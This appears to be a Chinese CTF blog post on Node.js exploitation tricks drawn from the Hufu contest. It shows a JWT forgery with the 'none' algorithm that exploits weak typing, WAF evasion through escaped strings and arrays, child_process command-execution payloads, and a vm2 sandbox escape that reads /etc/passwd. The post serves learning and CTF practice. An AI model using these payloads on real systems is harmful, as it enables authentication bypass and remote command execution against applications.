抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

打算写写Node里面最近遇到的知识了。
主要还是跟周末的虎符有关吧。作为二队打的,学校虽如期进入线下,但是自己这次还是有点小难受。刷了这么多题了,结果碰到两道并不算擅长的Node题目。只做出来第一道题。吐血的是第二题当时很清楚肯定是Node.js沙盒逃逸,也按照大致流程构造了payload,结果就是打不通。赛后同样的payload上buu一试瞬间成功执行,心态炸裂。
老实说Node题也算做了不少次了,相关的漏洞除了原型链比较熟悉其他的都不怎么了解。打算近期一方面把相关的题目多看下,然后就是基础语法巩固下,并且总结几个遇到的有用的trick.

弱类型

Node.js使用的是javascript的语法。简单的说 Node.js 就是运行在服务端的 JavaScript。毫无疑问作为弱类型的javascript自然会把这种特性带到服务端,产生一些奇怪的效用。

简单的弱类型的例子

var a =200;
var b ="1";
var c= a + b;
console.log(c);

//2001

字符串与数字经由一个二元运算符最后返回的是数字类型。

var obj = {name:'jack'}
if(obj){
    console.log(1);
}

对象可以转化为布尔值。

String.prototype.fn = function(){return this};
var a = 'hello';
alert(typeof a.fn());
alert(a.fn());

本该返回对象的函数a.fn()隐式的转换成了字符串“hello”显示.

这样就可以借由虎符第一个easy_login的题目来探讨下nodejs的弱类型了。

这道题不出意外应该是按照https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#cookie-cutter 这个改的。原题跟此处的校验几乎一样。那我们来看看虎符这题的关键校验代码:


const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
   throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});

去看原题就能学到姿势:由于sid是跟据第二个’.’的内容取出来的,如果稍微设计一下,比如令值为纯任意字母字符串,就能过那个if的判断并使secrets[sid]返回undefined.
这样配合上前面我们置为None的加密方式,即可在jwt.verify时成功解码。

本题跟原题有一丁点的区别:!(sid < global.secrets.length && sid >= 0))这段代码看似限制了我们只能传有效的数组键值即数字,但是数字字符串依旧有效

global.secrets=['supersecretkeyyouwillneverknow','2333333'];
const sid="00";
console.log(sid);
console.log(global.secrets.length);
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
    console.log("no");
}
const secret = global.secrets[sid];
console.log(secret);

假设这是我们已经注册过2个用户的情况。现在看看执行结果

没有报错。说明正如我们所料,进行>或者>=这两个运算符后字符串sid被转换成了数值类型即 0(number) 0<1 && 0>=0
同时下面的数组键值不存在,即secrets[“00”]不存在。
所以这题可以注册n个用户,(至少要有一个),然后传个小于长度的数字字符串就行。

再简单一点的,直接传一个空字符串当然也是可以的。
空数组也是同样的道理。且数组如果传元素的话也会遵循跟上面字符串一样的转化规律
最后加密即可

import jwt

payload = {'secretid': "00", 'username': 'admin', 'password': '123'}
print(jwt.encode(payload, '', algorithm=None))

值得一提的是,纯字母字符串与数字比较既不满足大于等于也不满足小于等于,这也是国际赛原题的小技巧。

使用编码\模板字符\数组等绕过waf

Node.js在编码上也有许多可以绕过的技巧
常见的比如八进制,16进制,unicode

"constructor"
//oct
"\143\157\156\163\164\162\165\143\164\157\162"
//hex
"\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"
//unicode
"\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"

假如想调用命令

[]['constructor']['constructor']('alert(12345)')()
[].constructor.constructor('alert(12345)')()
Array.constructor('alert(12345)')()

//上面三种写法是等价的.之前公益赛NodeGame也提到过。

但是要注意一点。这里其他进制以及unicode想要成功被解析成字符串还是得要单或双引号。否则无法成功执行。那么遇到过滤了单双引号的waf怎么办呢?

这里再给出一种方法。比如这次虎符just_escape我使用的绕过waf的payload:\u0065val(String.fromCharCode(116,114,121,123,10,32,32,32,32,32,32......))

unicode的绕过不必多说后面字符串使用String.fromCharCode也是xss中经常用到的技巧了。
就是这个payload在icq打不通…buu可行。不然我差点怀疑方法构造有问题了…难受

还有一种方法是从赵师傅那里学来的模板字符串的方法,其实自己之前也用过,就是没深刻理解。

简单来用就是用反引号代替双引号.所以上面说只有单双引号才能解析进制是错误的。

但是经实验后发现,只有八进制会在被反引号嵌套时出现报错。这点暂时没找到原因,我猜测可能跟八进制过于简便的写法有关吧。
(js语法中只要”\143”这种写法就默认为八进制,最大为”\377”)

而模板字符串的写法允许我们进行字符拼接

当然针对虎符这道题还有数组绕过的一个姿势,因为只是接受参数,然后进行waf的辨别,使用数组自然也是可行的
构造payload上简单了许多。其实原理跟上面弱类型的trick一样,当数组分别为

["process"] //waf
["global.process"]  // 绕过

上面被waf挡住显然是因为数组的值直接提取出来与waf中过滤的每一个关键字比较。但是如果是完整的payload字符串显然不会被任何单个的waf关键字匹配到。

下面这个paypal的RCE例子也可以参考下
https://artsploit.blogspot.com/2016/08/pprce2.html

关于数组绕过还有一个有趣的trick来自HackTM2020 Draw with us
https://xz.aliyun.com/t/7177#toc-4
里面有一个点,需要获取n的值。但是n又被waf挡住了

function checkRights(arr) {
  let blacklist = ["p", "n", "port"];
  for (let i = 0; i < arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
    }
  }
  return true;
}

这里同样可以使用数组绕过。在js中,a[[“n”]]还是被理解成a.n 所以waf匹配不到,但是这样仍旧能获取n这个键的值。


所以以上几种写法应该可以解决大多数waf了。

命令执行与沙盒逃逸

js里调用函数有一个自己之前一直不太懂的点终于弄明白了。

  • IIFE
(function(){ /* code */ }());

(function(){ /* code */ })();

这是IIFE(立即调用函数表达式)的写法。javascript在遇到它之后将立即执行函数。

在反序列化漏洞CVE-2017-5941 中有一处eval的拼接执行,就是用到了这个。因为eval后的语句是被括号包裹了的。其实说起来也简单。加个括号而已。然后命令在反序列化时直接触发。

然后关于命令执行的几个常见payload,比如原型链中常用的payload

require('child_process').exec('calc')
global.process.mainModule.constructor._load('child_process').exec('calc')
global.process.mainModule.require('child_process').exec('calc')

大体上就这几种执行命令的方式。其实简单说就是能获取到child_process这一步就行了。因为Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
而直接require有时候是获取不到的,这点p牛也讲过了。

沙盒逃逸

其实沙盒逃逸的题也不时第一次做。之前HITCON也有过这样的题,Confidence上也有沙盒的题。但是这次比赛还是拉胯了。虽然是环境的问题,但要是接触多的话换payload打应该是很轻松的吧。所以还是简单接触下

https://github.com/patriksimek/vm2/issues
首先要找现成payload的话,直接上github上issue找就好了,有位dalao专业研究沙盒逃逸,基本上所有版本的payload都是他找的,直接issue里搜breakout即可。

然后是原理。其实就是相当于给个沙盒环境。像process这样的危险代码基本都是undefined的。所以才有了通过this.constructor.constructor('return this.process.env')()
bypass的payload出现。(跟pythonssti沙盒逃逸差不多不是吗)
vm2相比于vm环境限制更加严格。原先通过this获取constructor的方法不再行得通。目前主流的方法主要是通过trycatch语句构造。通过try语句中报错进入到catch块,假如catch块捕捉到的错误比如是由host扔出的,就能利用不加限制的host一步步获取属性到require进而命令执行。

try {
        this.process.removeListener(); 
    } 
    catch (host_exception) {
        console.log('host exception: ' + host_exception.toString());
        host_constructor = host_exception.constructor.constructor;
        host_process = host_constructor('return this')().process;
  child_process = host_process.mainModule.require("child_process");
  console.log(child_process.execSync("cat /etc/passwd").toString());
    }

虎符这题则基本就是按hackim的babyjs改的。前端都几乎一样。只不过vm版本换成了3.8.3…所以搜下issue就行了。bypass用上面总结的方法都可以。

关于沙盒逃逸的一些细节我也是不太懂。打算过段时间把国际赛上js沙盒逃逸的题补一下。目前的套路简单有:
Error().stack
使用此命令可以爆出stack strace.相当于是一个FUZZ手段了.爆出错误信息如vm.js或者vm2.js就可以去收集对应的payload了。

日后再碰到沙盒逃逸的题也会放到文章里总结。希望自己能尽快上手Node.js吧。

Reference

https://xz.aliyun.com/t/7184
https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

评论